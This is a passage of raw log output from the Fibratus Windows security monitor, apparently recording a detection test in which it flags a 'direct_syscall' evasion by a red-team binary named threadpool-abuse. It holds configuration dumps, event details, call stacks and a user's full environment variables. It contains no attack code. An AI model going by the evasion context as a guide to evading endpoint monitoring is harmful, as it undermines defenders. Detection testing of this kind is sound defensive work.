Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:44:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:44:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:44:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:45:05+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:45:05+01:00 level=info msg=bootstrapping with pid 3340. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:45:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-vamap=>true enable-mem=>false enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true buffer-size=>512 enable-registry=>true enable-fileio=>true enable-dns=>false stack-enrichment=>true flush-interval=>1s max-buffers=>36 enable-audit-api=>true enable-handle=>false enable-threadpool=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-backups=>15 level=>info log-stdout=>true max-size=>100] + output ......................... [ http=>[ endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s enabled=>false] amqp=>[ tls-insecure-skip-verify=>false timeout=>5s passive=>false routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient exchange-type=>topic exchange=>fibratus durable=>false enabled=>false vhost=>/] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ healthcheck=>true healthcheck-timeout=>5s index-name=>fibratus bulk-workers=>1 flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false timeout=>5s template-name=>fibratus gzip-compression=>false trace-log=>false sniff=>false healthcheck-interval=>10s]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-files=>false fastscan=>true skip-registry=>false skip-mmaps=>false enabled=>false skip-allocs=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:45:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:45:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:45:12+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2117750 + Pid: 19808 + Tid: 18952 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:45:11.7052073 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 14ee5b81a80, subprocess_tag➜ 0, task_id➜ 14ee5b93aa8 + Metadata: evasions: [direct_syscall] + + Pid: 19808 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:45:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:45:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:46:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:46:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:46:33+01:00 level=info msg=bootstrapping with pid 5784. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:46:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false content-type=>text/html port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ stack-enrichment=>true enable-handle=>false enable-thread=>true enable-image=>true min-buffers=>16 enable-net=>true enable-fileio=>true enable-audit-api=>true flush-interval=>1s enable-vamap=>true enable-dns=>false enable-threadpool=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true buffer-size=>512 enable-mem=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true formatter=>text level=>info max-age=>0 max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s sniff=>false healthcheck=>true timeout=>5s enabled=>false flush-period=>1s trace-log=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false template-name=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] http=>[ serializer=>json tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s enable-gzip=>false enabled=>false method=>POST] amqp=>[ durable=>false vhost=>/ url=>amqp://localhost:5672 routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false delivery-mode=>transient exchange-type=>topic passive=>false timeout=>5s]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-files=>false fastscan=>true skip-allocs=>false scan-timeout=>10s enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:46:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:46:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:46:40+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2140770 + Pid: 7208 + Tid: 6456 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:46:39.2601132 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 12ac6791a80, subprocess_tag➜ 0, task_id➜ 12ac67a3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 7208 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:47:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:47:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:47:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:47:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:47:56+01:00 level=info msg=bootstrapping with pid 17472. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:47:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] content-type=>text/html port=>25 enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-thread=>true buffer-size=>512 enable-net=>true enable-handle=>false enable-vamap=>true min-buffers=>16 enable-mem=>false enable-dns=>false flush-interval=>1s enable-threadpool=>true enable-fileio=>true enable-registry=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text level=>info log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false tls-insecure-skip-verify=>false vhost=>/ timeout=>5s durable=>false exchange=>fibratus routing-key=>fibratus passive=>false exchange-type=>topic] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ gzip-compression=>false index-name=>fibratus flush-period=>1s timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 template-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s enabled=>false sniff=>false healthcheck=>true trace-log=>false] http=>[ enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST timeout=>5s endpoints=>[]] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ fastscan=>true skip-mmaps=>false excluded-procs=>[] skip-files=>false skip-allocs=>false enabled=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:47:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:47:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:48:05+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2205443 + Pid: 21832 + Tid: 3436 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:48:04.4787009 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 2757b0a1a80, subprocess_tag➜ 0, task_id➜ 2757b0b3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 21832 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual 